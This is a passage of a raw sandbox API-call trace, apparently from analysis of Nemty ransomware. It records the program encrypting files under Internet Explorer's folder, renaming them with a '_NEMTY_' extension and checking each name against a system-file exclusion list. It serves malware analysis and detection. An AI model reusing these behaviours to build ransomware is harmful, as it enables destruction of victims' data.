[0099.368] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0099.368] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.368] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0099.378] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.378] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0099.378] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.378] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0099.387] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.387] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0099.387] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.387] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0099.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.393] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0099.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.393] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0099.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.399] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0099.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.399] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f941d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0099.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634fc48 | out: hHeap=0x4f90000) returned 1 [0099.399] CloseHandle (hObject=0xffffffff) returned 0 [0099.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94340 [0099.399] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0099.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0099.399] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0099.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0099.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0099.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f943b8 [0099.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0099.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943b8 | out: hHeap=0x4f90000) returned 1 [0099.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0099.399] MoveFileW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\ie8props.propdesc" (normalized: "c:\\program files\\internet explorer\\ie8props.propdesc"), lpNewFileName="C:\\Program Files\\Internet Explorer\\ie8props.propdesc._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\internet explorer\\ie8props.propdesc._nemty_kgobjgd_")) returned 0 [0099.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0099.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94340 | out: hHeap=0x4f90000) returned 1 [0099.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0099.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d0 | out: hHeap=0x4f90000) returned 1 [0099.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0099.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0099.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0099.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0099.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.400] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa37b6f98, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa37b6f98, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa37b6f98, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="iecompat.dll", cAlternateFileName="")) returned 1 [0099.400] lstrcmpiW (lpString1="iecompat.dll", lpString2=".") returned 1 [0099.400] lstrcmpiW (lpString1="iecompat.dll", lpString2="..") returned 1 [0099.400] lstrcmpiW (lpString1="iecompat.dll", lpString2="...") returned 1 [0099.400] lstrcmpiW (lpString1="iecompat.dll", lpString2="windows") returned -1 [0099.400] lstrcmpiW (lpString1="iecompat.dll", lpString2="$RECYCLE.BIN") returned 1 [0099.400] lstrcmpiW (lpString1="iecompat.dll", lpString2="rsa") returned -1 [0099.400] lstrcmpiW (lpString1="iecompat.dll", lpString2="NTDETECT.COM") returned -1 [0099.400] lstrcmpiW (lpString1="iecompat.dll", lpString2="ntldr") returned -1 [0099.400] lstrcmpiW (lpString1="iecompat.dll", lpString2="MSDOS.SYS") returned -1 [0099.400] lstrcmpiW (lpString1="iecompat.dll", lpString2="IO.SYS") returned -1 [0099.400] lstrcmpiW (lpString1="iecompat.dll", lpString2="boot.ini") returned 1 [0099.400] lstrcmpiW (lpString1="iecompat.dll", lpString2="boot.ini") returned 1 [0099.400] lstrcmpiW (lpString1="iecompat.dll", lpString2="AUTOEXEC.BAT") returned 1 [0099.400] lstrcmpiW (lpString1="iecompat.dll", lpString2="ntuser.dat") returned -1 [0099.400] lstrcmpiW (lpString1="iecompat.dll", lpString2="desktop.ini") returned 1 [0099.400] lstrcmpiW (lpString1="iecompat.dll", lpString2="CONFIG.SYS") returned 1 [0099.400] lstrcmpiW (lpString1="iecompat.dll", lpString2="RECYCLER") returned -1 [0099.400] lstrcmpiW (lpString1="iecompat.dll", lpString2="BOOTSECT.BAK") returned 1 [0099.400] lstrcmpiW (lpString1="iecompat.dll", lpString2="bootmgr") returned 1 [0099.400] lstrcmpiW (lpString1="iecompat.dll", lpString2="programdata") returned -1 [0099.400] lstrcmpiW (lpString1="iecompat.dll", lpString2="appdata") returned 1 [0099.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iecompat.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iecompat.dll", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iecompat.dll", lpUsedDefaultChar=0x0) returned 12 [0099.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0099.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iecompat.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iecompat.dll", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iecompat.dll", lpUsedDefaultChar=0x0) returned 12 [0099.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0099.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iecompat.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iecompat.dll", cchWideChar=12, lpMultiByteStr=0x653f5e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iecompat.dll", lpUsedDefaultChar=0x0) returned 12 [0099.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iecompat.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iecompat.dll", cchWideChar=12, lpMultiByteStr=0x653f618, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iecompat.dll", lpUsedDefaultChar=0x0) returned 12 [0099.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0099.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0099.401] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa37b6f98, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa37b6f98, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa37dd0f9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf7600, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="iedvtool.dll", cAlternateFileName="")) returned 1 [0099.401] lstrcmpiW (lpString1="iedvtool.dll", lpString2=".") returned 1 [0099.401] lstrcmpiW (lpString1="iedvtool.dll", lpString2="..") returned 1 [0099.401] lstrcmpiW (lpString1="iedvtool.dll", lpString2="...") returned 1 [0099.401] lstrcmpiW (lpString1="iedvtool.dll", lpString2="windows") returned -1 [0099.401] lstrcmpiW (lpString1="iedvtool.dll", lpString2="$RECYCLE.BIN") returned 1 [0099.401] lstrcmpiW (lpString1="iedvtool.dll", lpString2="rsa") returned -1 [0099.401] lstrcmpiW (lpString1="iedvtool.dll", lpString2="NTDETECT.COM") returned -1 [0099.401] lstrcmpiW (lpString1="iedvtool.dll", lpString2="ntldr") returned -1 [0099.401] lstrcmpiW (lpString1="iedvtool.dll", lpString2="MSDOS.SYS") returned -1 [0099.401] lstrcmpiW (lpString1="iedvtool.dll", lpString2="IO.SYS") returned -1 [0099.401] lstrcmpiW (lpString1="iedvtool.dll", lpString2="boot.ini") returned 1 [0099.401] lstrcmpiW (lpString1="iedvtool.dll", lpString2="boot.ini") returned 1 [0099.401] lstrcmpiW (lpString1="iedvtool.dll", lpString2="AUTOEXEC.BAT") returned 1 [0099.401] lstrcmpiW (lpString1="iedvtool.dll", lpString2="ntuser.dat") returned -1 [0099.401] lstrcmpiW (lpString1="iedvtool.dll", lpString2="desktop.ini") returned 1 [0099.401] lstrcmpiW (lpString1="iedvtool.dll", lpString2="CONFIG.SYS") returned 1 [0099.401] lstrcmpiW (lpString1="iedvtool.dll", lpString2="RECYCLER") returned -1 [0099.402] lstrcmpiW (lpString1="iedvtool.dll", lpString2="BOOTSECT.BAK") returned 1 [0099.402] lstrcmpiW (lpString1="iedvtool.dll", lpString2="bootmgr") returned 1 [0099.402] lstrcmpiW (lpString1="iedvtool.dll", lpString2="programdata") returned -1 [0099.402] lstrcmpiW (lpString1="iedvtool.dll", lpString2="appdata") returned 1 [0099.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iedvtool.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iedvtool.dll", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iedvtool.dll", lpUsedDefaultChar=0x0) returned 12 [0099.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0099.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iedvtool.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iedvtool.dll", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iedvtool.dll", lpUsedDefaultChar=0x0) returned 12 [0099.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0099.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iedvtool.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iedvtool.dll", cchWideChar=12, lpMultiByteStr=0x653f5e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iedvtool.dll", lpUsedDefaultChar=0x0) returned 12 [0099.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iedvtool.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iedvtool.dll", cchWideChar=12, lpMultiByteStr=0x653f618, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iedvtool.dll", lpUsedDefaultChar=0x0) returned 12 [0099.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0099.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0099.402] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa357baf4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa357baf4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa357baf4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x41e00, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="ieinstal.exe", cAlternateFileName="")) returned 1 [0099.402] lstrcmpiW (lpString1="ieinstal.exe", lpString2=".") returned 1 [0099.402] lstrcmpiW (lpString1="ieinstal.exe", lpString2="..") returned 1 [0099.402] lstrcmpiW (lpString1="ieinstal.exe", lpString2="...") returned 1 [0099.402] lstrcmpiW (lpString1="ieinstal.exe", lpString2="windows") returned -1 [0099.402] lstrcmpiW (lpString1="ieinstal.exe", lpString2="$RECYCLE.BIN") returned 1 [0099.402] lstrcmpiW (lpString1="ieinstal.exe", lpString2="rsa") returned -1 [0099.402] lstrcmpiW (lpString1="ieinstal.exe", lpString2="NTDETECT.COM") returned -1 [0099.402] lstrcmpiW (lpString1="ieinstal.exe", lpString2="ntldr") returned -1 [0099.402] lstrcmpiW (lpString1="ieinstal.exe", lpString2="MSDOS.SYS") returned -1 [0099.402] lstrcmpiW (lpString1="ieinstal.exe", lpString2="IO.SYS") returned -1 [0099.402] lstrcmpiW (lpString1="ieinstal.exe", lpString2="boot.ini") returned 1 [0099.402] lstrcmpiW (lpString1="ieinstal.exe", lpString2="boot.ini") returned 1 [0099.402] lstrcmpiW (lpString1="ieinstal.exe", lpString2="AUTOEXEC.BAT") returned 1 [0099.403] lstrcmpiW (lpString1="ieinstal.exe", lpString2="ntuser.dat") returned -1 [0099.403] lstrcmpiW (lpString1="ieinstal.exe", lpString2="desktop.ini") returned 1 [0099.403] lstrcmpiW (lpString1="ieinstal.exe", lpString2="CONFIG.SYS") returned 1 [0099.403] lstrcmpiW (lpString1="ieinstal.exe", lpString2="RECYCLER") returned -1 [0099.403] lstrcmpiW (lpString1="ieinstal.exe", lpString2="BOOTSECT.BAK") returned 1 [0099.403] lstrcmpiW (lpString1="ieinstal.exe", lpString2="bootmgr") returned 1 [0099.403] lstrcmpiW (lpString1="ieinstal.exe", lpString2="programdata") returned -1 [0099.403] lstrcmpiW (lpString1="ieinstal.exe", lpString2="appdata") returned 1 [0099.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ieinstal.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ieinstal.exe", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ieinstal.exe", lpUsedDefaultChar=0x0) returned 12 [0099.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0099.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ieinstal.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ieinstal.exe", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ieinstal.exe", lpUsedDefaultChar=0x0) returned 12 [0099.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0099.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ieinstal.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ieinstal.exe", cchWideChar=12, lpMultiByteStr=0x653f5e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ieinstal.exe", lpUsedDefaultChar=0x0) returned 12 [0099.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ieinstal.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ieinstal.exe", cchWideChar=12, lpMultiByteStr=0x653f618, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ieinstal.exe", lpUsedDefaultChar=0x0) returned 12 [0099.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0099.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0099.403] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdecd4578, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xdecd4578, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3cb04e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c400, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="ielowutil.exe", cAlternateFileName="")) returned 1 [0099.403] lstrcmpiW (lpString1="ielowutil.exe", lpString2=".") returned 1 [0099.403] lstrcmpiW (lpString1="ielowutil.exe", lpString2="..") returned 1 [0099.403] lstrcmpiW (lpString1="ielowutil.exe", lpString2="...") returned 1 [0099.403] lstrcmpiW (lpString1="ielowutil.exe", lpString2="windows") returned -1 [0099.403] lstrcmpiW (lpString1="ielowutil.exe", lpString2="$RECYCLE.BIN") returned 1 [0099.403] lstrcmpiW (lpString1="ielowutil.exe", lpString2="rsa") returned -1 [0099.403] lstrcmpiW (lpString1="ielowutil.exe", lpString2="NTDETECT.COM") returned -1 [0099.403] lstrcmpiW (lpString1="ielowutil.exe", lpString2="ntldr") returned -1 [0099.403] lstrcmpiW (lpString1="ielowutil.exe", lpString2="MSDOS.SYS") returned -1 [0099.404] lstrcmpiW (lpString1="ielowutil.exe", lpString2="IO.SYS") returned -1 [0099.404] lstrcmpiW (lpString1="ielowutil.exe", lpString2="boot.ini") returned 1 [0099.404] lstrcmpiW (lpString1="ielowutil.exe", lpString2="boot.ini") returned 1 [0099.404] lstrcmpiW (lpString1="ielowutil.exe", lpString2="AUTOEXEC.BAT") returned 1 [0099.404] lstrcmpiW (lpString1="ielowutil.exe", lpString2="ntuser.dat") returned -1 [0099.404] lstrcmpiW (lpString1="ielowutil.exe", lpString2="desktop.ini") returned 1 [0099.404] lstrcmpiW (lpString1="ielowutil.exe", lpString2="CONFIG.SYS") returned 1 [0099.404] lstrcmpiW (lpString1="ielowutil.exe", lpString2="RECYCLER") returned -1 [0099.404] lstrcmpiW (lpString1="ielowutil.exe", lpString2="BOOTSECT.BAK") returned 1 [0099.404] lstrcmpiW (lpString1="ielowutil.exe", lpString2="bootmgr") returned 1 [0099.404] lstrcmpiW (lpString1="ielowutil.exe", lpString2="programdata") returned -1 [0099.404] lstrcmpiW (lpString1="ielowutil.exe", lpString2="appdata") returned 1 [0099.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.404] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ielowutil.exe", cchWideChar=13, lpMultiByteStr=0x0, 